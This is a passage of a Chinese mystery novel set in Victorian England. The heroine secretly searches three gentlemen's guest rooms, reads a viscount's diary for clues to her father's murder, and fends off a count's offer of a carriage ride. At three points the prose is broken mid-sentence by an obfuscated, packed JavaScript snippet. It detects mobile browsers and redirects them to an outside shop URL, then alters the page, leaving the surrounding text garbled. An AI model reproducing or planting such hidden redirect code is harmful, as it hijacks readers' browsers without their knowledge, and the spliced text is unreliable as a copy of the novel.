也不必替他的情敌叫屈,因为对方也一样。奥丽芙想起昨天范德梅尔说错名字时Z伯爵的讥讽,以及以前有过的几次调侃和挖苦,不禁好笑。Z伯爵虽然会使用稍微巧妙一些的方式贬损人,但贬损就是贬损,这两个家伙半斤八两,一得着机会,便要暗地里说对方坏话。 他们谁看谁都不顺眼,能顺眼才怪了。论相貌,两个人都英俊;论头衔,两个人都是伯爵;论财产,两个人相差不大——钱虽不多,但手里颇有几个子儿,能供他们眼不眨地摆阔;论其它嘛,反正,他们都不必听命于人,都可以潇潇洒洒、随心所欲。 范德梅尔向前面观察了一会儿,指给奥丽芙看:“昨天,默顿小姐还不敢开口,这会儿,已经和Z伯爵有说有笑了,不用说,是受了公爵的鼓励。听公爵餐桌上的发言,好像小默顿十拿九稳能与库珀小姐订婚,Z伯爵大概就是被蒙住了,以为自己娶到公爵小姐,能间接获利。” 照奥丽芙看,Z伯爵和默顿小姐之间的情形根本谈不上“有说有笑”。埃莉诺直视前方,偶尔才偏转头,说上一句什么,而且,是向Z伯爵和德·雷斯托两个人同时说的,应该是为客人介绍周围的景致;回答她的,大多时候只有子爵一个,可能因为他们俩都是腼腆性格,反倒能合得来。 不过,奥丽芙也看得出,埃莉诺对Z伯爵怀有好感,在以为无人注意时,她会偷偷瞧Z伯爵一眼。而Z伯爵无动于衷,从背影看,他始终懒洋洋,漫不经心。 奥丽芙想,Z伯爵和范德梅尔在有一点上不像:Z伯爵没有范德梅尔讨女孩子欢心的本事。要么,他不奉承,要么,Z伯爵那种“奉承”方式,放肆得很。 可能他满心以为,女人正是要靠无礼来征服的。 范德梅尔开口,打断了奥丽芙的沉思。“你注意到没有,默顿小姐的头发梳得和她那位姑婆一样,五十年前的发式。不知她这么梳头是为了搭配她的帽子,还是她特意翻出压箱底的帽子搭配她的发型。” “我不知道你们男士还会关注女人的发式。”奥丽芙说。攻击情敌就算了,议论女士的样貌衣着,不光是缺少绅士风度,简直下作,以前可没发现范德梅尔是这种人。 片刻,奥丽芙醒悟,昨天,范德梅尔是向公爵小姐献殷勤来着——每见到一位女士,他都会不由自主施展手段,引对方注意。不过,埃莉诺虽然在每位男性客人面前都拘谨,但对范德梅尔,她明显更有一种厌烦。范德梅尔大概很少受冷遇,一气之下,便大肆耻笑她,作为“报复”。若果然如此,这个人的人品真是毫无可取之处。 范德梅尔没察觉奥丽芙语气中的不快,轻快答道:“通常我们只注意那些好看的,但这么多默顿家的人在这儿,他们的头发又全都一样,都是那种缺少光泽的暗褐色,不由我不注意。我认为,男人的头发颜色应该深浅适中,而女人,则以光亮的浅色为佳,最好是浅褐色,像库珀小姐那样。”他向奥丽芙的帽檐下瞥一眼,寻求她目光的赞同,突然看见她的头发,急忙补上,“当然,你例外,布莱克小姐,你这种真正带有东方味道的黑头发是另一回事。” 奥丽芙笑了笑,压根没把他的意见往心里去。 隔了一会儿,范德梅尔又说:“尽管前面的六个人,挑不出哪两个适合凑在一起,但如果要打赌的话,我还是把赌注下到Z伯爵和默顿小姐上。”他发出几声幸灾乐祸的笑,“到头来,小默顿没得到库珀小姐,Z伯爵却娶了默顿小姐,你说,默顿公爵和他的女婿,谁会更失望?” 奥丽芙根本不想谈论这个话题,何况,她还急着回去。 这时,走到了板球场,前面的人脚步都放慢了,奥丽芙急忙赶上去,懊恼地说:“我没料到今天上午太阳这么好,要不然,我就戴顶帽檐更大的帽子出来。阳光真让我有点吃不消,我已经够黑了,不能再晒太阳了,我想我还是先回去吧。” 计划很顺利,无人勉强她。小默顿为道路两旁的树木不够高大,不能为行人提供荫凉而道歉,还客气询问要不要他陪同,其余人只是稍稍表示了关切,便由她自行返回了。 威克菲尔德大宅除了正中的楼梯,还有一道楼梯修在南边一侧,供仆人平时使用。奥丽芙从中间上来,又走到侧面听了听,楼梯上下静悄悄的,一点人语声都听不见。 她回到自己的房间,发现女仆已经来过,将屋子大致收拾了一番,这才放下心,立即拉开门,小心翼翼地向北边走去。走廊两侧的屋门都闭着,日光只从南北尽头的两扇窗户透进来,整条走廊非常昏暗。 奥丽芙边走边想,北侧楼下正对着那间大藏书室,这时候肯定没人。不过,她还是尽量将脚步放轻。当她蹑手蹑脚行走时,不禁想起珠宝大盗:要是她有那样的身手,精通飞檐走壁的功夫,就不必如此战战兢兢了。 她先来到三间屋子中最靠北的一间门口,手心都出汗了,握在黄铜门把上感觉凉凉的。她闭眼,深呼吸。假如这时候有个仆人走出来,只好硬着头皮说记错了方向。把手一转,门轻轻松松打开了,里面没人。 奥丽芙像条泥鳅般钻进去,合住门,靠在上面,一边等心脏的狂跳稍稍平息,一边打量整间屋子。她马上看出,这个房间和她住的那间一样,纯粹做客房使用,里面只有最基本的几件家具。 属于客人的物品很明显,靠墙放着两双皮靴,床脚边有一只敞开的旅行箱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936300|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此外,床上平摊着一堆衣服。 奥丽芙在走去窗前的写字桌时,停下向那张四柱大床看了看。被子已经叠好了,摞在枕头上,一件丝绸晨衣扔在最上面,空出床铺的大片地方给几件衬衫使用:衣服一件件并排铺着,领口处配着领带——似乎住客将他所有的衣物都摆出来,琢磨效果,然后挑出最好的一套上身,而落选的,还没有来得及收拾。 好一个有闲情逸致的公子哥儿。奥丽芙鄙夷地想,赶快走到桌前查看。 桌上摞着一叠簇新的扑克牌,大约四五张牌散在一边,背面朝上,奥丽芙随手翻开一张方块Jack,又扣了回去。 桌子上还有主人为客人写信预备好的几样文具,奥丽芙仔细观察了纸面的印痕,这个住客好像只靠玩纸牌打发独处的时间,没写过字。此外,桌上放着一只桃花心木、边角包黄铜的长方形梳妆匣。 写字桌还有一只抽屉,钥匙在上面插着,在打开木匣之前,奥丽芙拧开抽屉一看,里面空空如也。 她将木匣前后左右看一遍,又平举起来看底面,六个面都没有标记。 然后,奥丽芙毫不犹豫打开匣子,眼前顿现一片灿灿金光。原来,匣子最上面一层托盘放着的剃须刀、梳子、指甲剪等物,全部用黄金镶嵌,映在盒盖上的镜子中,加倍地闪耀。 这一套梳妆用具,华丽程度和伊迪丝化妆台上摆放的东西不相上下。不过,面前这些说不定只是旅行中使用的“简便”装备,真不敢想这家伙平时有多么奢侈。 奥丽芙一件件看了,又放下,拉开托盘下三层抽屉中的第一层。 抽屉里铺有软羊皮,放着一对袖扣,两只领针,一块怀表,及两条栓表的金链子。袖扣上镶蓝宝石,领针和怀表上嵌钻石,全都是上等男子服饰用品店里的高档货。 第二层抽屉放着一堆索维林,下面是一小沓印着玫瑰浮雕暗纹的空白信笺,信笺差不多快被金币埋住了。 奥丽芙又拉开最底一层抽屉,里面躺着一把小手枪。 她心一跳:谁去别人家做客,会带手枪? 奥丽芙不懂枪支,看不出手枪是不是上了膛。她怕走火,一万分小心地用几根手指捏住握把,将手枪提起来平放在掌心。整支枪还没有她一只手大,黄金枪托上镶着珍珠,非常精致,非常漂亮,与其说它是武器,倒不如说它更像一件装饰物。 这时,奥丽芙突然想到,手枪对时髦青年来说,可能的确只是件“行头”而已。虽然如今决斗在文明国家早已销声匿迹,但公开反对“野蛮遗风”是一回事,私下里崇尚“荣誉准则”又是另一回事。贵族青年显然还以“无所畏惧”为荣,要不然,昨天默顿公爵说起他堂兄的决斗时,即便声明那场决斗轻率,且堂兄因决斗不得不远走他乡,在场的年轻先生却无不露出钦佩的神情。他们随身携带枪支,可能是标榜自己具有随时捍卫荣誉的勇气。 总之,一个上流社会的年青人,追女人大胆,花钱大方,手枪打得准,他在这个花花世界上所需要的全部“美德”就齐备了。 还不知道这个花花公子的典型代表到底是谁。 奥丽芙把木匣复位,再走到床边,先弯腰把旅行箱的角角落落都摸了一遍:没有本子、纸张,也没有其它东西,这只箱子里面装的全是衣物,足够穿一个星期不重样。 她把目光移到床上,看着铺在那儿的几件衬衫。 差不多有半打。丝绸的光滑柔软,亚麻的平整挺脱,除去质地不同,它们都一样洁白胜雪,一样干净如新,一样看似朴素实则华丽、昂贵,每一粒纽扣都泛着细腻的虹彩光泽,每一道褶边都体现了高明的裁剪艺术。简而言之,每一件都是时尚界的高雅品味和缝纫女工的辛勤劳动所创造的杰作。 奥丽芙拎起一件,亦被其低调的精美折服了,不由把它照原样摆放好。她看见衣裳下摆内侧用银线绣着一个花体字母Z,原来这是Z伯爵的房间。他真是讲究穿戴。 忽地,一个小时前见到Z伯爵的场景又出现在眼前:他步履悠闲,皮鞋和浅色裤子既闲适,又恰到好处地体现出潇洒的风度,礼服在腰身处的收窄堪称精妙,衬衫细洁、雪白的前胸衬得他的面色像太阳刚刚升起的白昼一样新鲜,还有那一头金发,被风吹得凌乱了,可叫他随随便便拿手一拨拉,复又变得顺直,熠熠夺目,仿佛是接住了阳光。奥丽芙脸上一烧,快步离开了这个房间。 第二间屋子的门一打开,立即有股香气扑鼻而来,告诉奥丽芙是范德梅尔住在这儿。 她刚走到桌边就惊得愣住了,这不是在姨妈家丢的那只梳妆匣吗? 18. 爱的赠言 不过,定神再看,匣子一角镶嵌的珐琅彩纹章和丢失的那只不一样。眼前这个,可不是“中世纪受封”的假伯爵的拙劣徽章,而是范德梅尔的家族纹章。 纹章奥丽芙已见过了,不用再多端详,它的样子不复杂:红底,带金色缘饰,正中一道金色垂直条纹,条纹上有一只黑色的锚形图案。 奥丽芙眼睛凑近徽章周围仔细看,又用手摸了摸。略微凸起的纹章和木头贴合得很平整,周围也没有划痕,看不出撬掉旧徽章,再镶嵌一枚新的上去的痕迹。 奥丽芙想了想,觉得不能认为这只匣子是被偷走的那一只。一来,这种样式的梳妆匣可能比较流行,毕竟,其美观性和实用性都不差,那么,天南地北的两个人恰好选了同样的东西,能说过去,虽然的确是个不小的巧合;二来,范德梅尔不像缺几镑钱的样子,不至于把一件盗走的赃物据为己有,而且,他明明心虚,怕让人发现,怎么敢明目张胆地拿出来使用? 唯有一点不太对劲——梳妆匣是很明显的女式样式。 不过再一想,很多时髦的花花公子都喜欢精致、花里胡哨的小物件,用女式梳妆匣,也不算特别奇怪。 不能再浪费时间了,奥丽芙把匣子打开看里面:袖扣、领夹、怀表、手持圆镜……金的、银的、镶珠嵌宝的……无非就是那些东西。上面要么刻着范德梅尔的姓名缩写,要么没有刻印,反正,找不到蜜蜂图案。 奥丽芙知道这种匣子上有个隐藏隔层,她扳动开关,隔层弹出来了,只有一个很小的小盒子在里面,盛着药膏或是香膏之类的东西。不过,奥丽芙发现匣子木质的隔板上刻着几个字: Lovealways. S. 字显然是买回匣子后自己刻的,刻得不大好,但能看出来很用心,每条刻线都粗细均匀,边缘也打磨平滑了。 这就是范德梅尔使用女式梳妆匣的原因——某个女人把自己的梳妆匣送给了他。不是伊迪丝,是一个名字首字母为S的女士。 纹章不知是范德梅尔自己加上去的,还是S女士费心为他装好,无论哪样,都能看出这是一件郑重的礼物。 还是那句话,范德梅尔不是买不起一只新梳妆匣的人,如果他依然使用某个女人送的梳妆匣,显然对对方还有情意,说不定两人还在暗中往来。 是啊,梳妆匣是每天都用眼睛看到、都用手触摸的东西,别说还有一笔一笔刻下的字,这可不是一般的情意。如果对方是未婚小姐,奥丽芙相信,她与范德梅尔至少也是私下里订过婚约。如果对方已婚呢?——不管怎样,范德梅尔没有资格追求伊迪丝。 不过,这种事可以以后另寻办法调查,当务之急是探明谁和父亲遇害有关联。奥丽芙放好梳妆匣,赶忙去把范德梅尔的旅行箱检查一遍。 范德梅尔带来的衣服差不多和Z伯爵一样多,还额外多了两顶帽子,因此,他有一大一小两只旅行箱,都放在窗户下。 这几间屋子的窗户对着后院,奥丽芙特别注意不要站在窗前,以防她的影子被外面的人看到。检查完范德梅尔的行李箱,站起身时,她向窗外瞄了一眼,发现范德梅尔、伊迪丝、默顿兄妹……总之,一起散步的全部那伙人,正走在高地下行的小径上,向大宅的方向走来。 他们怎么这么早就回来了?从一行人目标明确、毫不迟疑的步子看,他们的确打算回宅子。等他们穿过院落,最多还有不到十分钟——还来得及再探探第三间屋子。 必须看看德·雷斯托的房间,不然这回就真是白费一场工夫,几乎一无所获。 转瞬间,奥丽芙已经站在德·雷斯托的屋子当中。一瞥之下就能看出,子爵比另两位生活简朴:他的旅行箱更小,放在外面的一双靴子也已经半旧了。 奥丽芙没有改变顺序,还是先检查桌子。她注意到,这回写字台的抽屉没有插钥匙,不过,她很快看见钥匙就放在桌上的文具匣中。奥丽芙拿钥匙把抽屉打开,里面放着一个牛皮面笔记本。 翻开本子,她差点激动地叫起来,这是德·雷斯托的日记! 而且它挺厚,翻到第一页,上面的日期是今年一月一日。奥丽芙深吸一口气,准确地翻到日记本最新的地方。 最近一则日记应该写于昨晚。德·雷斯托用不超过十句话记录了来威克菲尔德庄园作客一事,包括天气、路途所花时间、所有客人姓名,中午的野餐和晚上的宴席情况。其中,奥丽芙是“布莱克小姐”,而库珀小姐用C小姐代替。 德·雷斯托是法国人,日记全是用法语写的,不过,这正好是除英语和匈牙利语外,奥丽芙最熟悉的一种语言。她从后向前翻,匆匆扫完了十多篇日记。 她发现,有“C小姐”出现时,德·雷斯托会多写几句,但总的来说,每一篇日记都简短、精炼,篇幅在两三行到半页之间,只记录事件,通篇是客观描述,毫不涉及记述人的内心。尽管如此,奥丽芙还是感到愧疚,她一点不想刺探德·雷斯托的生活,之所以读这么多篇,是为了验证一下他的日记是否忠实于事实。 她能记得的最近发生的几件事,时间、人物都和德·雷斯托记录相符。假如这时候奥丽芙有心思琢磨文笔,她会因日记的精准记述和简练文风而毫不犹豫将其奉为优秀日记的典范。 不过,德·雷斯托的风格始终如一吗?他会不会在某天忽然“失手”,遗漏掉关键信息?奥丽芙手指颤抖,翻到二月二十四日。谢天谢地,那天确实有记录,内容如下:赴威尔卡特府上吃晚饭,在座共六人,威尔卡特一家,我和母亲,詹姆斯牧师。牧师称赞四道菜都很美味。一个星期后,提醒妈妈安排回请。 向后翻一页,二月二十五日,记的是:从报纸获悉费克特先生晚间散步时受袭身亡。天哪,真令人震惊,太让人伤心了,前两天刚刚见过费克特先生!他的女儿怎么办?希望她能勇敢。 这大概是德·雷斯托在日记中感情流露最多的一次。奥丽芙呆愣了一会儿,又往前翻两页,在二月二十二日,德·雷斯托写道:历史学家费克特先生来访,从没见过这么聪明而又谦虚的人,很有学者风度。 泪水涌上奥丽芙的眼睛,她用手擦擦,向窗外一看,突然发觉不对,院落里空无一人。 糟糕,光顾看日记,忘了时间,他们说不定都进来好久了。奥丽芙把日记本放进抽屉,锁好,钥匙放回原位,像兔子一样踮脚跳出了门。 还好,走廊里不见人影,但随即,奥丽芙听见楼梯上传来几位先生的说话声音。 这间屋子就在楼梯边上,只要跨两步,跑到楼梯南面,转个身,就可以假装刚从自己的房间出来,准备下楼。可是,奥丽芙一探头,看见三个身影已经站在倒数第二段楼梯最上面几阶,他们马上一转弯,就能发现她惊慌失措从北边走廊冲出来——那就糟了。 还不如赶紧想个借口,奥丽芙缩回身子,脑子正飞转,听见Z伯爵说:“时间还早,回屋里有什么意思,不如去瞧瞧默顿小姐和库珀小姐那儿还有什么需要帮忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946459|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的?” 范德梅尔好像没意见,但德·雷斯托不赞同,说:“有默顿小姐就够了,大家都围过去反而帮不了忙。”趁他们立住脚犹豫的几秒工夫,奥丽芙已经跑到自己的房间门口。他们一直在说话,大约没听见她的脚步,奥丽芙扭头看几人还没上到走廊,便开门进去,留一道小缝,趴在门后偷听。 脚步和话音很快在北面消失,走廊里又变得静悄悄的。等了一会儿,没听见谁冲出来喊叫:“刚才有人来过我的房间!” 奥丽芙的心这才放回去,但她的心绪是怎么也不可能完全平静! 终于,终于看到了父亲在世最后几日的一些片段。父亲和德·雷斯托见过面,父亲肯定发现了子爵的头衔“有诈”,但他当时没说破;他应当挺喜欢德·雷斯托先生,因为父亲很少对刚认识的人谈论自己的家事,但德·雷斯托知道,父亲在世的亲人只有一个女儿。 当然,德·雷斯托完全有可能编造这一切,但奥丽芙选择相信他。 她不认为德·雷斯托会在日记中撒谎——如果德·雷斯托杀了父亲,他可以只字不提,或者干脆“偷懒”,当天不写日记;要不然,他专等着“勇敢的女儿”来查看,也可以把日记写得更“有血有肉”。不,他一贯的克制,和偶尔一次爆发出的震惊和叹息,完全像是真的。 德·雷斯托没撒谎。 如果还有最后一丝怀疑,只要打听到威尔卡特家在哪儿,二月二十四日那顿晚饭是几个人吃,吃到几点,就行了。 现在,姑且可以认为,百分之九十的嫌疑都集中在范德梅尔和Z伯爵两个人身上。 可是,父亲像讲童话故事一般讲述Zachariasen家族的历史,显然,这是一个他很喜欢的家族。他在话语中还对家族的第十九代继承人寄予了厚望。是不是见到Z伯爵,父亲发现长大了的金发男孩不但没有重现家族辉煌,反而游手好闲,安心地做个纨绔,感到失望? 而Z伯爵察觉到父亲的失望情绪,以为父亲会在库珀先生面前说坏话,对他不利,所以杀了父亲? 奥丽芙打了个寒噤。Z伯爵是个纨绔,可并不是疯子。 再看范德梅尔。他的身世似乎也没有问题,如果他行凶,动机又能是什么? 范德梅尔的私人物品和在Z伯爵房间中见到的一样,除了显示其所有者生活奢靡、贪图逸乐外,再说明不了其它。不过,梳妆匣里的刻字勾起了奥丽芙几分好奇:那个女人“S”,会不会知道些东西?——在方便的时候,得想办法搞清楚。 在屋内待了一会儿,奥丽芙认为从自己脸上看不出激动了,便下楼去大厅。刚才听男士们对话,伊迪丝似乎碰上了一些小麻烦。 伊迪丝和默顿小姐、凯里小姐正坐在大厅旁的一间小餐室中,原来他们提前结束散步的缘由是:经过一片开得很美的野花时,伊迪丝想要摘几朵,被蜜蜂蜇伤了手。 庄园的女仆对付这类事很有经验,毒刺被挑了出来,伤口用盐水清洗并用手帕包住,伊迪丝将“很快就感觉不到疼了”。 不多久,几位男士都下楼来,大家又一起坐下喝茶。小默顿询问伊迪丝时,她回答:“只有一点点疼。” 默顿小姐有些惊讶:“刚才那只蜜蜂的毒性一定很强。”她坚持要再看看伤处,伊迪丝解开手帕,果然,那里仍然发红发肿。 几个人脸上都露出担忧的神色,范德梅尔却不慌不忙,对旁边女仆说:“请到我的房间,把桌上那只梳妆匣抱来。” 19. 同乘邀请 梳妆匣很快抱了来,范德梅尔打开它,打开隔层,取出装药膏的小盒子,又将隔层推回去。他将药膏递给伊迪丝:“涂一些吧,马上就会好。” 奥丽芙本还发愁不好自然地引出梳妆匣的话题,没想到东西已经搬到眼前了。可惜众人的眼睛全盯着那盒神秘药膏,没人留意匣子。于是,等伊迪丝涂好药,奥丽芙大惊小怪地嚷嚷起来:“咦,范德梅尔伯爵,你的这只梳妆匣,我也曾有一个一模一样的。我那只是某位伯爵夫人用过的,同时也是一件礼物,我特别珍爱它,可惜它被偷了。” 说话时,她特别注意着范德梅尔,也没忘了观察另几个人。大家都面带惊讶,目光在她和梳妆匣之间打转,不能说谁表现出了特别明显的异样,不过Z伯爵似乎是别有深意地看了她一眼,随即别开脑袋,闷着头想心事去了。 “你丢的是和这只一样吗,布莱克小姐,真巧啊。”小默顿盯着范德梅尔的梳妆匣,好像纳闷它有何特殊之处,会受如此多人的青睐。 范德梅尔对奥丽芙说:“丢了这么好看的一只梳妆匣,难怪你觉得难过。我这只也是一件礼物。” 他正坐在伊迪丝旁边,奥丽芙听见他对伊迪丝小声说:“是西尔维娅送给我的。” 然后,他半带得意地看看其他人,道:“对不起,本来可以让你们瞧瞧它——不过,梳妆匣原为家妹所有,我出门时,她让我带着它。”转眼间,他已经把药膏置回原位,匣子关好,交由女仆送回房间。 他妹妹叫Sylvia,正是S打头。看来他和妹妹感情挺好,他还跟伊迪丝讲过妹妹的事。 奥丽芙没有兄弟姐妹。她多么希望自己在世上不这么孤单,有一个能够完完全全信任的人,有一个能够一起回忆过去,能够互相关怀、互相鼓励的手足;当其中一人远行时,另一个也定会把自己心爱的物品交给对方带在身边。一瞬间,她几乎为错怪了范德梅尔伯爵而感到歉疚。 “现在你感觉伤处如何?库珀小姐。”小默顿关切地问伊迪丝。 “我感觉好多了。药膏很清凉。” 不仅如此,所有人都看到,她手上的红肿已消下去大半,药才涂上一分钟而已。 “你从哪儿搞到这样的灵丹妙药?”小默顿惊叹。 范德梅尔得意地说:“是我们家家传的药方,对蜜蜂,以及其它虫子叮咬有奇效。可惜,方子在一次意外中被毁了,我并不会配制,实际上,世界上再没有任何一个人可以配出来。那些是……听说是我祖母亲自监督,命人熬制的。药方在我们家已经传了几百年,如今虽然失传,但我依然庆幸,还有些药膏留了下来。”说着,他转向伊迪丝,“我保证只要涂一次就行,不然就把药盒给你了,虽然我也只剩了这么一点。” 不得不说,范德梅尔向姑娘献殷勤确实有一套,他对家族在围城战役中的丰功伟绩不放在心上,但是,微不足道一盒药膏,只因为恰好帮伊迪丝减轻了一点小伤痛,他便当成一种荣耀似的,喜气洋洋,满面放光。 伊迪丝也很领他的情,露出最甜美的笑容:“确实一点儿都不疼了,谢谢你的药。” 对范德梅尔来说,今天上午无疑是个胜利。其他三位男士则显得不大起劲,不过,作为主人,小默顿必须得说几句。 他向伊迪丝道歉,说:“幸亏有范德梅尔伯爵,不然,你来我家里才一天就受伤,我们太过意不去了。我早该想想办法,这里蜜蜂太多了。” 范德梅尔笑道:“别责怪蜜蜂,它们是可爱的小虫子。” 奥丽芙不知道是不是自己多心,范德梅尔说这话有点怪。不过又说不上到底哪儿怪:在得知父亲遇害现场丢下一只蜜蜂袖扣前,自己也认为,蜜蜂是挺可爱的小虫子。 “当然,当然,有花的地方,总是引来蜜蜂,现在是六月,许多花都开了。”小默顿转向伊迪丝、奥丽芙和凯里小姐,“我希望是这里的鲜花,而非蜜蜂,在三位小姐心上留下印象。” 像以往一样,小默顿用意或许是好的,但话由他嘴里说出来,总显得怪里怪气,令人尴尬。 三位小姐客客气气地回了几句。德·雷斯托平时就很少主动插话,今天则格外沉默。奇怪的是Z伯爵也一直没开口,他还是一副心事重重的模样。 用过简单的午膳,客人们准备返回伦敦。奥丽芙随身带的东西不多,很快就整理好了,仆人帮她把箱子提下楼,放在大厅。这时,伊迪丝还没下来,马车也还没套好,奥丽芙估摸至少还得再等二十分钟,便去花园转转。 花园已经被人占了,Z伯爵正在那儿,一转头,看见了她,大声喊:“布莱克小姐。” 他快步走过来,又用压低的声音说:“太好了,只有你一个人。”他脸上带着不胜烦脑的神色,“有件事,我想要请教你的意见。” “什么事?”奥丽芙问。 “呃,”Z伯爵欲言又止,引着她往隐蔽的地方走了走,“你觉得这里,我是说整个威克菲尔德庄园,你觉得怎么样?” 奥丽芙不知Z伯爵什么意思,但甚为反感他神秘兮兮的语调,不怎么客气地回答:“我觉得挺好。怎么了?” “是,挺好,主人很热情,也给我们提供了最大的方便和自由。可是——你收拾行李了吗,有没有清点你的物品?我发现,他们的仆人中,有个别手脚不干净。”Z伯爵一面说,一面紧张地盯着奥丽芙。 奥丽芙认为自己保持住了镇静,她用略显惊讶的眼神回视Z伯爵:“你丢了东西?” “现在还不好说。你说你的梳妆匣被偷了,我以为你是暗示……”他解释道。 “我没有那方面的意思。” “哦。但我的房间肯定被人翻过——我有几件衣裳,本来在床上放得整整齐齐,它们不在原来的位置了。” 奥丽芙脸一红,希望没有被Z伯爵发觉。她越发诧异地问:“你的衣裳被弄乱了?难道不是仆人收拾房间时不小心挪动的?” “不是。我特意叮嘱了管家,我的房间我自己会整理,别让人进去。而且,不止是摊在外面的东西被动过。” “你带了什么宝贝怕人发现?”奥丽芙嘲讽他。 “我带了一只手枪。对了,说不定小偷看见手枪怕了,没敢下手。也幸亏我没带多少东西——我一向喜欢轻装出行。唉,真不好说,我的金币倒没点过数……”Z伯爵摇着头,唉声叹气,又劝奥丽芙,“布莱克小姐,你最好点点你的行李。” “不,我确定没有少了东西。”奥丽芙坚定地说。 Z伯爵皱着眉:“那大概是哪个男仆,不方便去女士的房间。女仆进男士的屋子倒是便宜!——我是不是该先问问子爵和范德梅尔伯爵?” 奥丽芙假装思考了一会儿:“我认为最好不要制造恐慌。若他们丢了东西,自己会说出来的,若没有,只有你大惊小怪,岂不是惹人嘲笑,而且伤了公爵一家的面子?如果你怀疑,最好直接报告给主人,请他们私下查明,我想小默顿不会见怪,而且能够妥当处理。” Z伯爵一脸服气,钦佩地说:“谢谢,幸亏我先问了你。我确实缺少经验,要在别的国家,失窃的人会立即嚷嚷起来,我忘了英国人总是先考虑他人的感受。差点儿自作主张,那就太失礼了。” 他好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962344|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕奥丽芙以为他真的遇事大惊小怪,又赶快补充:“我要为自己辩解一下:别的东西还罢了,但那把手枪绝对被人拿过——对手枪这玩意必须特别小心,我每次把它放下时都检查好几遍。那仆人胆子还真大,居然没有在自己身上打出一个洞来。” 说着,Z伯爵忽然显出恍然的表情,“该不会是大盗?我们把那个大盗吸引来了!在我那儿,他没发现有值得一偷的东西。如果这样,应该提醒库珀小姐,她带着她那颗栗子大的钻石了吗?”Z伯爵用手比出了一个鸡蛋大小。 “我认为根本不可能是珠宝大盗,库珀小姐也没带钻石。”奥丽芙冷冷地、略不耐烦地回答。 Z伯爵尴尬地笑笑:“我恐怕又犯了大惊小怪的毛病。算了,既然说不出哪样东西丢失,我干脆还是别对小默顿说了,免得他较真,要给我压压惊,或者补偿我的损失什么的。” “你是不是准备要回家了?”Z伯爵忽地语调一转,恢复了平日里愉快的口吻,询问奥丽芙。 “我去看看马车准备好没有。”她向外走。 “不用急。”Z伯爵拦住她,“我的车还没套好呢。来坐下歇会儿吧。” 他请奥丽芙在长椅坐下,感慨说:“在伦敦,整日忙忙碌碌,到头来,却好像没办成一件事,一天一天一下子就过去了。而在这儿,不过短短一日,却好像发生了许多事情似的。有点累,但十分充实,是不是?我发现,驾车是一种很好的放松,趁驾车回家的工夫,我要好好回味这美好的一天。” “你自己驾车来的?”奥丽芙有点惊讶。 “可不是嘛,不然我带枪干吗——一个人出门在外,身上装着钱,怎么小心都不过分,对吧?我忘了还有窃贼,小偷实在防不胜防。啊,不说这个了。 “我不让车夫送我,是怕万一找不到一辆往城里运货的骡车让他搭回去,他就不得不留在这儿。” “留在这儿怎么了?” “小姐,敏锐如你,一定注意到了,威克菲尔德的人手挺紧张,这么大的宅子,男女用人才不到十五个。——我一个单身汉,岂不是更用不着铺那么大排场?我的车夫兼任园丁,必要的时候还能充半个厨师。家里有不少事要做,没必要让他呆在这儿,嘴里叼着草叶,一整天无所事事。” 奥丽芙心道:你要是少买几件衬衫,就不必把佣人使唤得这么狠了。 Z伯爵说:“你们几个人坐一辆马车,再加上行李,未免有点挤。不如我带你回伦敦。我那是辆轻马车,坐着很舒服,正好一面观赏郊外美景,一面享受午后的阳光和清新空气。愿意坐在我旁边或者后面都随你。我驾车的本事很不赖,又快又稳,从我早晨起床的时间和我昨天到达的时间,你大概看得出。怎么样,小姐?” 他的口气和神情仿佛他驾驶的是太阳车一般。 不过,听了他的话,奥丽芙确实瞬间在眼前绘出一副英格兰绿油油的乡村画卷:茂密的树木,绵延的树篱,远处是一群可爱的村舍,墙边爬着葡萄藤。 她有点动心了,但立即想起早上散步时提前返回,决定把自己对阳光的不喜欢贯彻到底:“不了,我根本不想晒太阳,我已经够黑了。” Z伯爵很吃惊:“你的肤色非常美,一定有很多画家提出过要为你画像,你不否认吧?你说这话,要么是太谦虚,要么是为拒绝我找的借口。” 奥丽芙的心不轻不重跳了一下,刚才关于小偷的话就已经使她警觉了,他似乎又在暗示她早上的行为是有意的。 奥丽芙不作声地打量Z伯爵。她不能不怀疑:Z伯爵已经知道她去过他的房间,故意拿话试探。 20. 画像表演 上回来伦敦,本来想督促警方彻查父亲遇害一案,但收到一张字条,似乎是好意提醒她伦敦有危险。可这次,她扮成“布莱克小姐”在伦敦呆了两个多月了,再没收到任何匿名信件。 这使奥丽芙倾向于认为,字条并非来自“好心人”,而是来自凶手,是为恐吓她,让她放弃调查真相。凶手当时可能还不确认警察会不会管,所以在匿名信上说不要信警察。 